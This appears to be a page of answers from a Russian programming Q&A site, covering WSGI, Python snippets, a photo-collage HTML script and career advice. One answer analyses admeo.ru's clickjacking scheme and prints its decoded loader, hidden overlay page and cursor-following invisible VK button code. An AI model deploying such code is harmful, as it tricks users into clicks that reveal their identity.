• Объясните, Как работает WSGI?

    qlkvg
    @qlkvg
    python backend developer
    https://www.youtube.com/watch?v=LEbVn0cJQLg&list=L...

    крайней толковый доклад про WSGI и ASGI. про WSGI буквально первые 5 минут, но вполне подробно на примере объясняется
    Ответ написан
  • Как в строке узнать индекс буквы, зная её?

    SoreMix
    @SoreMix
    yellow
    Невероятно, но для нахождения индекса нужно использовать метод index, передав в него букву
    Ответ написан
  • Как сделать вычисления только функциями?

    0xD34F
    @0xD34F
    seven = lambda x = None: x(7) if callable(x) else 7
    five = lambda x = None: x(5) if callable(x) else 5
    
    times = lambda x: lambda y: x * y
    Ответ написан
  • Как склеить много фотографий в одну картинку?

    @alexalexes
    Самый бюджетный вариант коллажа с использованием браузера.
    1. Копируете этот код и сохраняете в файле index.html;
    2. Создаете каталог photo рядом с файлом index.html и закидываете туда уже пронумерованные по порядку фото.
    3. Поправляете параметры:
    а) В селекторе "table tr td img" задаете width и height - размер одной миниатюры в коллаже.
    б) Указываете photo_count - кол-во фоток в каталоге photo.
    в) Указываете col_count - кол-во фоток в одном ряду коллажа.
    г) Указываете start_pic_number - с какого номера начинается нумерация фоток.
    д) Указываете filename_counter_size - размерность нумерации фоток, если идет 01, 02, 03 - то размерность 2,
    если, например 00001, 00002, 00003, то размерность 5.
    е) Задаете принцип формирования имени файла в filename.
    Если расширение у вас не jpg, а например png, то строка будет выглядеть так:
    var filename = filename_counter + '.png';
    Если в имени файла есть какие-то постоянные символы, кроме счетчика, например они именуются DSC_0001.JPG, то имя файла будет формироваться так:
    var filename = 'DSC_' + filename_counter + '.JPG';
    Имя файла чувствительно к регистру символов!
    ж) Корректируюете путь к файлу относительно страницы index.html, если требуется.
    var filepath = 'photo/' + filename;
    Фрагмент 'photo/' задает каталог с фотками.
    Следует избегать именования каталога и фоток кириллицей.
    4. Открываете index.html в браузере.
    5. Если файлов много, то ждете окончания открытия страницы. Зависит от производительности компа, свободной оперативной памяти.
    6. Если все в порядке, то миниатюры отобразятся. Это значит, что путь задан верно для фоток и фотки пронумерованы правильно и компу хватило ресурсов отобразить коллаж.
    7. Делаем скриншот всей страницы:
    Инструкция для браузера Google Chrome.
    Ctrl+Shift+I — войти в режим разработчика.
    Ctrl+Shift+M — нажать в нем на кнопку эмуляции просмотра в мобильных устройствах.
    Нажать на кнопку меню в окне эмулации (см. в правый верхний угол страницы) и выбрать пункт «Capture full size screenshot».
    После некоторого времени браузер "закачает" некий файл изображения.
    Это и будет конечный результат - коллаж.
    <html>
      <head>
        <style>
          html, body
          {
            margin: 0;
            padding: 0;
          }
          table
          {
            border: none;
          }
          table tr td img
          {
            width: 400px;
            height: 300px;
          }
          table tr td p
          {
            font-size: 10pt;
            text-align: center;
            margin-top: 0;
            margin-bottom: 0;
          }
        </style>
      </head>
      <body>
       <table id="container">
       </table>
       <script>
          function gen_collage()
          {
            var photo_count = 10; // кол-во фото в каталоге (нужно задать)
            var col_count = 5; // кол-во фото в одной строке коллажа (нужно задать)
            var row_count = photo_count / col_count + (photo_count % col_count > 0 ? 1 : 0); // вычисляем, сколько строк для генерации коллажа потребуется
            var start_pic_number = 1; // индекс первой фотки коллажа (если файлы начинаются, например, с 01.jpg, то нужно поставить 1)
            var filename_counter_size = 2; // размер счетчика с ведущими нулями, если поставить 2, то будет генерировать 01, 02, 03 и тд.
            var cur_pic_number = start_pic_number; // номер текущей фотки
            var table_inner = ''; // содержимое таблицы коллажа
            for(var i = 0; i < row_count; i++)
            {
              var row_pictures_inner = '<tr>'; // строка коллажа
              for(var j = 0; j < col_count; j++)
              {
                row_pictures_inner += '<td>'; // ячейка коллажа
                if(cur_pic_number - start_pic_number < photo_count)
                {
                  var filename_counter = ('000000000' + cur_pic_number).substr(-filename_counter_size); // счетчик с ведущими нулями
                  var filename = filename_counter + '.jpg'; // имя файла на основе счетчика (сейчас генерирует 01.jpg, 02.jpg и тд.)
                  var filepath = 'photo/' + filename; // путь к файлу (сейчас задан относительный путь, файлы нужно поместить в каталог photo, index.html должен лежать рядом с каталогом photo)
                  row_pictures_inner += '<div><img src="' + filepath + '"/><p>' + filename + '</p></div>'; // содержимое ячейки коллажа
                }
                row_pictures_inner += '</td>';
                cur_pic_number++;
              }
              row_pictures_inner += '</tr>';
              table_inner += row_pictures_inner;
            }
            document.getElementById('container').innerHTML = table_inner;
          }
          gen_collage();
       </script>
      </body>
    </html>
    Ответ написан
  • Какие стратегии повышения зарплаты существуют?

    sergey-gornostaev
    @sergey-gornostaev
    Седой и строгий
    Центральный показатель для бизнеса, а следовательно и руководителей, как людей представляющих интересы этого самого бизнеса - это коэффициент возврата инвестиций (ROI). Соответственно, сотрудник должен приносить компании больше денег, чем потребляет. Естественно, что чем выше разрыв между затратами и прибылью, тем лучше, поэтому фонд оплаты труда руководитель должен держать на том минимальном уровне, который гарантирует бесперебойную работу сотрудников. Один из факторов этой бесперебойности - низкая текучка. Сотрудников терять нежелательно. И чем ценнее для компании сотрудник, чем более он профессионален и/или чем больше на него завязано, тем дороже обходится его потеря. Натурально в деньгах. Придётся затратить больше, чем обычно, денег на поддержание работы без него. Придётся затратить деньги и время (те же деньги) на поиск, найм, введение в работу, возможно, обучение нового сотрудника. При этом он может оказаться совсем неподходящих и цикл придётся повторить. Или может оказаться просто хуже прошлого и эффективность отдела снизится. Поэтому, когда сотрудник приходит просить прибавку, руководитель оценивает может ли этот сотрудник уйти или только блефует, насколько легко его будет заменить, какой урон компании будет нанесён его уходом. Потом руководитель оценивает стоимость расширения ФОТ - есть ли резервы, какой сейчас ROI, будет ли больший ROI от реинвестиции этих средств во что-то другое? Если уход сотрудника будет стоить меньше, чем увеличение ФОТа, сотруднику откажут.

    Естественно, всё описанное справедливо для случая, когда руководитель - профессиональный менеджер. А то часто на месте руководителя сидит человек руководствующийся эмоциями и мутными соображениями вычитанными в сомнительной бизнес-литературе.

    Из этого вывод, стратегия проста - увеличивайте собственный профессиональный уровень на столько, чтобы свободно менять компанию, как только вас что-то перестало устраивать.
    Ответ написан
  • Помогают ли очки для компьютера?

    @d-sem
    Очки помогают, если есть блики или нужна коррекция при плохом зрении.

    В основном они больше помогают моргать, как следствие улучшая увлажение глаз, чем улучшают зрение и уменьшают нагрузку на глаза.

    В основном помогает правильная организация рабочего места и режима рабочего дня. Советы простые, но действенные. Более подробно можно на гуглить или спросить любого офтальмолога.

    Рабочее место:
    1) сидеть ровно
    2) смотреть на монитор немного сверху вниз
    3) отсутствие бликов на экране
    4) держать дистанцию до экрана

    Организация рабочего дня:
    1) гимнастика для глаз каждые полчаса. 15 минут в час не за компьютером.
    2) каждые пару часов гимнастика для шеи и спины.
    3) больше гулять и меньше пялиться в экран в рабочие дни

    Главное избегать спазмов и сухости в глазах и пережатий в шее. Спазмы и сухость глаз ухудшают питание, и глаз деградирует. Пережатия в шее сажают глаза на голодный паек и глаза деградируют.
    Ответ написан
  • Как выполнять бесконечный цикл, чтобы он не блокировал работу всей программы?

    hottabxp
    @hottabxp Куратор тега Python
    Сначала мы жили бедно, а потом нас обокрали..
    Я делал похожего бота для этого сайта(для получения новых вопросов по моим тегам). Алгоритм работы был примерно таким:
    1) Создал функцию, которая загружает и парсит главную страницу этого сайта. Вытаскивает из нее все ссылки на новые вопросы. Функция возвращает список ссылок.
    2) В цикле for беру каждую ссылку, и проверяю - есть ли она в файле(можно БД прикрутить). Если данной ссылки нет - значит вопрос новый. Добавляю ссылку в файл, и отправляю её себе в телеграм. Если ссылка в файле есть, значит этот вопрос уже отправлялся мне в телеграм, и, следовательно, - ничего не делаю
    3) В боте делал цикл с задержкой 5 минут, и в цикле вызывал функцию-парсер.
    5e57a5a5d8f6b747820507.png
    Ответ написан
  • Как admeo.ru узнает номер телефона?

    27cm
    @27cm
    TODO: Написать статус
    Clickjacking

    О кликджекинге написано много статей, в том числе и на Хабре, но всё же заглянем внутрь admeo.ru и посмотрим, как это реализовано у них.

    1. В коде есть скрипт, буквально бросающийся в глаза:
    <script src="data:text/javascript;charset=utf-8;base64,KGZ1bmN0aW9uKGIsYyl7c2V0VGltZW91dChmdW5jdGlvbigpe3ZhciBhPWRvY3VtZW50LGY9YS5nZXRFbGVtZW50c0J5VGFnTmFtZSgic2NyaXB0IilbMF0scz1hLmNyZWF0ZUVsZW1lbnQoInNjcmlwdCIpLGg9ZXNjYXBlKGEucmVmZXJyZXIpO3MudHlwZT0idGV4dC9qYXZhc2NyaXB0IjtzLmNoYXJzZXQ9IlVURi04IjtzLmFzeW5jPSEwO3Muc3JjPSIvLyIrYisiLyIrYysiLmpzP3I9IitNYXRoLnJhbmRvbSgpO2YucGFyZW50Tm9kZS5pbnNlcnRCZWZvcmUocyxmKX0sMCl9KSgiYWRtZW8ucnUiLCJlZGI0MmE4MTg3MzE4NTY5NmFjNTJlMmJiNGJmNmVlYSIpOw==" async=""></script>

    2. Декодируем:
    (function(b,c){setTimeout(function(){
    var a=document,f=a.getElementsByTagName("script")[0],
    s=a.createElement("script"),h=escape(a.referrer);s.type="text/javascript";
    s.charset="UTF-8";s.async=!0;s.src="//"+b+"/"+c+".js?r="+Math.random();
    f.parentNode.insertBefore(s,f)},0)})("admeo.ru","edb42a81873185696ac52e2bb4bf6eea");

    3. Внутри edb42a81873185696ac52e2bb4bf6eea.html:
    <html>
    <head></head>
    <body onclick="admeoVk.click()">
    <div id="vk_api_transport"></div>
    <div id="cwvkid" style="cursor:pointer!important;clear: both;background: none;position: fixed !important;top: 0;left: 0;bottom: 0;right: 0;width: 100%;height: 100%;border: none;margin: 0;padding: 0;opacity: 0;z-index: 88888;visibility: visible;"></div>
    <div id="myvklogin"></div>
    <script language="JavaScript">
        var admeoParams = {
            token: 'edb42a81873185696ac52e2bb4bf6eea',
            apiUrl: 'http://admeo.ru/',
            appId: 4906527,
            host: 'admeo.ru',
            siteId: 15,
            cName: 'amuid'
        };
    
        (function(i,s,o,g,r,a,m){i['AdmeoObject']=r;i[r]=i[r]||function(){
                (i[r].q=i[r].q||[]).push(arguments)},i[r].l=1*new Date();a=s.createElement(o),
            m=s.getElementsByTagName(o)[0];a.async=1;a.src=g;m.parentNode.insertBefore(a,m)
        })(window,document,'script', 'http://static.admeo.ru/assets/core/_vk.js','admeo');
    </script>
    </body>
    </html>

    Странное решение оставить cursor:pointer!important...
    4. static.admeo.ru/assets/core/_vk.js
    5. Прозрачная кнопка Like Вконтакте движется под курсором и ждёт, когда на неё кликнут:
    window.onmousemove = function(e){
        document.querySelector('#cwvkid').style.left = e.pageX - 70;
        document.querySelector('#cwvkid').style.top = e.pageY - 12;
    };
    Ответ написан
  • Как побороть сонливость и апатию в течение дня?

    nki
    @nki
    Автоматизация бизнес-процессов.
    Мне помогла ипотека, автокредит, трое детей и неработающая жена.
    Ответ написан
  • Как работать с api сделанном на django rest framework?

    idegree
    @idegree
    Senior Workaround Developer
    Я бы остановился на requests в целом.

    Но есть и следующий подход. DRF умеет генерировать swagger, а здесь можно из swagger спеки сгенерировать клиента для нужно языка программирования по этой схеме.
    Ответ написан
  • 8. Именование переменных. Как решить это в Яндекс.Практикум(Python)?

    sergey-gornostaev
    @sergey-gornostaev Куратор тега Python
    Седой и строгий
    Профи первый день в Python начинают с чтения учебника, а практикумы берутся проходить после полного прочтения.
    Ответ написан
  • Как парсить единицы измерения ms/s на pyparsing и python?

    на бросал быстренько на чистой регулярки, дальше че хотите то и делайте с результатами
    import re
    from dataclasses import dataclass
    
    
    @dataclass
    class Time:
        minute: int
        second: int
        ms: int
    
        @classmethod
        def init(cls, data):
            return cls(**{k: int(v) for k, v in data.items()})
    
        def to_seconds(self):
            return self.minute * 60 + self.second
    
    
    strings = ["1m57s", "17s520ms", "1m", "10s"]
    time_parse = re.compile(r"((?P<minute>\d+)(m(?!s)))?((?P<second>\d+)(s))?((?P<ms>\d+)(ms))?")
    
    d = [Time.init(time_parse.match(v).groupdict(default='0')) for v in strings]
    
    print(d)
    print([v.to_seconds() for v in d])
    
    [Time(minute=1, second=57, ms=0), Time(minute=0, second=17, ms=520), Time(minute=1, second=0, ms=0), Time(minute=0, second=10, ms=0)]
    [117, 17, 60, 10]
    Ответ написан
  • Есть ли такой модуль на python?

    Andrew_Pinkerton
    @Andrew_Pinkerton Куратор тега Python
    Не так страшны первые 99%, как оставшиеся 99%
    Незнаю зачем тут поисковик, но
    Для получения изображений можно использовать Unsplash API метод get-a-random-photo

    Библиотеки:
    https://github.com/yakupadakli/python-unsplash
    https://github.com/salvoventura/pyunsplash

    Если нужен именно поисковик, то вот пример:
    https://github.com/arrrlo/Google-Images-Search

    from google_images_search import GoogleImagesSearch
    
    # if you don't enter api key and cx, the package will try to search
    # them from environment variables GCS_DEVELOPER_KEY and GCS_CX
    gis = GoogleImagesSearch('your_dev_api_key', 'your_project_cx')
    
    # example: GoogleImagesSearch('ABcDeFGhiJKLmnopqweRty5asdfghGfdSaS4abC', '012345678987654321012:abcde_fghij')
    
    #define search params:
    _search_params = {
        'q': '...',
        'num': 1-50,
        'safe': 'high|medium|off',
        'fileType': 'jpg|gif|png',
        'imgType': 'clipart|face|lineart|news|photo',
        'imgSize': 'huge|icon|large|medium|small|xlarge|xxlarge',
        'imgDominantColor': 'black|blue|brown|gray|green|pink|purple|teal|white|yellow'
    }
    
    # this will only search for images:
    gis.search(search_params=_search_params)
    
    # this will search and download:
    gis.search(search_params=_search_params, path_to_dir='/path/')
    
    # this will search, download and resize:
    gis.search(search_params=_search_params, path_to_dir='/path/', width=500, height=500)
    
    # search first, then download and resize afterwards
    gis.search(search_params=_search_params)
    for image in gis.results():
        image.download('/path/')
        image.resize(500, 500)
    Ответ написан
  • Вопрос по поводу реализации чата в онлайн играх, знает ли кто об этом?

    firedragon
    @firedragon
    Senior .NET developer
    У вас есть соединение, причем постоянное. Реализуйте класс чата, комнаты и сообщения.
    Дальше на сервере реализуйте обмен.

    Chat
    AddChanel
    JoinUserToChat
    KickOffUser
    ListUsers

    Chanel
    ListUsers
    SendMessage
    SendPrivateMessage

    Message
    Create
    AddAttachment
    Ответ написан
  • Какое железо брать по python?

    sergey-gornostaev
    @sergey-gornostaev
    Седой и строгий
    Хилое, чтобы была мотивация делать эффективное и производительное ПО.
    Ответ написан
  • Инструменты для создания обучающих видео презентаций?

    alekseyHunter
    @alekseyHunter
    Android developer
    • Делаем презентацию (Power Point)
    • Добавляем эффекты по клику мыши
    • Включаем запись экрана и кликаем по презентации (Bandicam, NVidia Shadow Play)
    • Пишем отдельно звук (объяснения)
    • Склеиваем в видео редакторе (Sony Vegas, Adobe Premiere)
    Ответ написан
  • Как передать ключ "сложного" словаря в качестве аргумента функции?

    sergey-gornostaev
    @sergey-gornostaev Куратор тега Python
    Седой и строгий
    from functools import reduce, wraps
    
    
    def silenced(*exceptions, typed=False):
        def decorator(f):
            @wraps(f)
            def wrapper(*args, **kwargs):
                try:
                    return f(*args, **kwargs)
                except exceptions as exc:
                    if typed:
                        return exc.__class__
                    return None
            return wrapper
        return decorator
    
    
    @silenced(IndexError, KeyError)
    def item_getter(container, key):
        if container is not None:
            return container[key]
    
    
    exampe = {
      'Building': {
        'Flat': {
          'Flat_1': {
            'App_1': 3, 
            'App_2': 5}, 
          'Flat_2': {
            'App_3': 1, 
            'App_4': 3
          }
        }
      }
    }
    
    path = ['Building', 'Flat', 'Flat_2', 'App_4']
    value = reduce(item_getter, path, example)
    print(value)
    Ответ написан
  • Как продвинуть идею на уровне государства?

    webinar
    @webinar
    Учим yii: https://youtu.be/-WRMlGHLgRg
    А Вы думаете там наверху нет идей? Есть. Просто на них или денег нет или нет они мешают чьим-то схемам.
    В принципе, для мечтателей можно через портал гос.услуг прямо президенту написать, там есть для идей форма. Без шуток. Конечно там наверняка куча фильтров до президента, в виде людей. Но почему бы не попробовать.
    Есть гранты, как гос, так и частные, есть сайты где их публикуют - туда тоже суньтесь.
    Шансы не велики, но если ничего не делать они вообще равны нулю. Успехов Вам. Крайне редко встречаются люди, которые стремятся созидать. Так держать.

    пара ссылок в помощь:
    https://vsekonkursy.ru/category/konkursy-startapov
    https://президентскиегранты.рф/
    https://www.gosuslugi.ru/200582/1/info
    Ответ написан
  • Как сделать такое приложение?

    alsolovyev
    @alsolovyev
    А в чем проблема? Как Вы пытались решить эту проблему(написать в интернете "Решите мне задача" не считается)?

    Разделите конечную цель на маленькие:
    1. Создаете/рисуете точки
    2. Добавляете обработчик движения мыши
    3. Определяете дистанцию от мышки до точки ( теорема Пифагора )
    4. Увеличиваете/уменьшаете значение радиуса точки в зависимости от положения мыши

    Все! Самое сложное это теорема Пифагора(5-6 класс).
    Остается все разбросать по методам....

    Вот "наговнокодил" пример на коленках(использовал class поэтому поддержку браузера смотрите сами): https://codepen.io/janeRivas/full/NMGBvG/ (если лагает у Вас, то удалите функцию на строке 116 и 120 или поменяйте кол. точек на строке 18 )

    Если нужно уместить все точки в какой-то фигуре(букве), то поменяйте функцию Rand, добавив в нее новые условия.

    ps если как-то по-другому надо соединить линии между собой, то у нас на каждом кадре есть координаты точек this.pos.x и this.pos.y. Ну и меняй метод lineTo как тебе надо...

    psps наверно начинать надо с простого, но если делать нормально, то я бы делал на three.js или pixi.js. Логика точно такая же, только перфоманс будет в разы лучше + сможем избежать кучу проблем с картинками и тп...
    Ответ написан